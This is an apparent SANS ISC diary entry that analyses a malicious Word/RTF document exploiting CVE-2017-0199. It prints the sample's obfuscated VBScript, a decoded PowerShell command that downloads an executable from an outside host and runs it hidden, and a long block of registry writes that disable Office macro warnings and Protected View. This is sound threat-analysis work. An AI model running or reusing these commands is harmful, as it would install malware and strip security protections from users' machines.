SANS ISC: If you want something done right, do it yourself!

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SANS ISC InfoSec Forums

Another day, another malicious document! I like to discover how the bad guys are creative to write new pieces of malicious code. Yesterday, I found another interesting sample. It’s always the same story, a malicious document is delivered by email. The document was called 'Saudi Declare war Labenon.doc’ (interesting name by the way!). According to VT, it is already flagged as malicious by many antivirus[1] (SHA267: 7f39affc9649606f57058b971c0c5a7612f7d85ef7ed54c95034cd2b9ae34602/detection). The document is a classic RTF file that triggers the well-known CVE-2017-0199. When started, it downloads the first file from:

hXXp://fbcom[.]review/h/1.hta

The grabbed macro is split into two main sections. The first one is not very well obfuscated:

<script language="VBScript">Window.ReSizeTo 0, 0 : Window.moveTo -2000,-2000 : Set Office = CreateObject("WScript.Shell") : Office.run ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(69) & ChrW(120) & ChrW(101) & ChrW(99) & ChrW(117) & ChrW(116) & ChrW(105) & ChrW(111) & ChrW(110) & ChrW(80) & ChrW(111) & ChrW(108) & ChrW(105) & ChrW(99) & ChrW(121) & ChrW(32) & ChrW(66)
…
ChrW(102) & ChrW(105) & ChrW(108) & ChrW(101) & ChrW(41) & ChrW(59) & ChrW(125) & ChrW(99) & ChrW(97) & ChrW(116) & ChrW(99) & ChrW(104) & ChrW(123) & ChrW(125) & ChrW(101) & ChrW(120) & ChrW(105) & ChrW(116) & ChrW(59),0,true

It’s easy to decode it with Python:

>>> import re
>>> string="ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108) & ChrW(46) & ... & ChrW(116) & ChrW(59)"
>>> string = re.sub("ChrW", "chr", string)
>>> string = re.sub("&", "+", string) 
>>> eval(string)

Here is a beautified version of the decoded command:

powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command 
try {
  $down = New-Object System.Net.WebClient;
  $url = 'HTTPS:/'+'/'+'fbcom.review/f/1.exe’;
  $file = $env:temp + '\\1.exe’;
  $down.DownloadFile($url,$file);
  $exec = New-Object -com shell.application;
  $exec.shellexecute($file);
}
catch{}
exit;”

The downloaded and executed file (1.exe) is also known on VT[2] (SHA256: 0c8706816573c3d527a70e21606b39d35a3924953b8accb6d6b7b563b9f56899). This is a classic behaviour.

That’s the second part of the script that looks more interesting. Indeed, it tries to alter the configuration of Microsoft Office to authorize dangerous actions to be performed. Windows registry keys are changed for multiple versions of Microsoft Office as well as programs. The features that are altered:

The keys "Disable*InPV" are related that the “Protected View”[3] added by Microsoft to increase the overall security of Office. It is defined as is:

Files from the Internet and from other potentially unsafe locations can contain viruses, worms, or other kinds of malware that can harm your computer. To help protect your computer, files from these potentially unsafe locations are opened in Protected View. By using Protected View, you can read a file and see its contents while reducing the risks.

The macro creates/updates the registry keys for different versions of Microsoft Office (11 to 16) and for Word & Excel:

Set wso = CreateObject("WScript.Shell")
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"

As the saying goes, "if you want something done right, you have to do it yourself!" and this is also valid for malware. Stay safe!

[1]  https://www.virustotal.com/#/file/7f39affc9649606f57058b971c0c5a7612f7d85ef7ed54c95034cd2b9ae34602/detection
[2] https://www.virustotal.com/#/file/0c8706816573c3d527a70e21606b39d35a3924953b8accb6d6b7b563b9f56899/detection
[3] https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key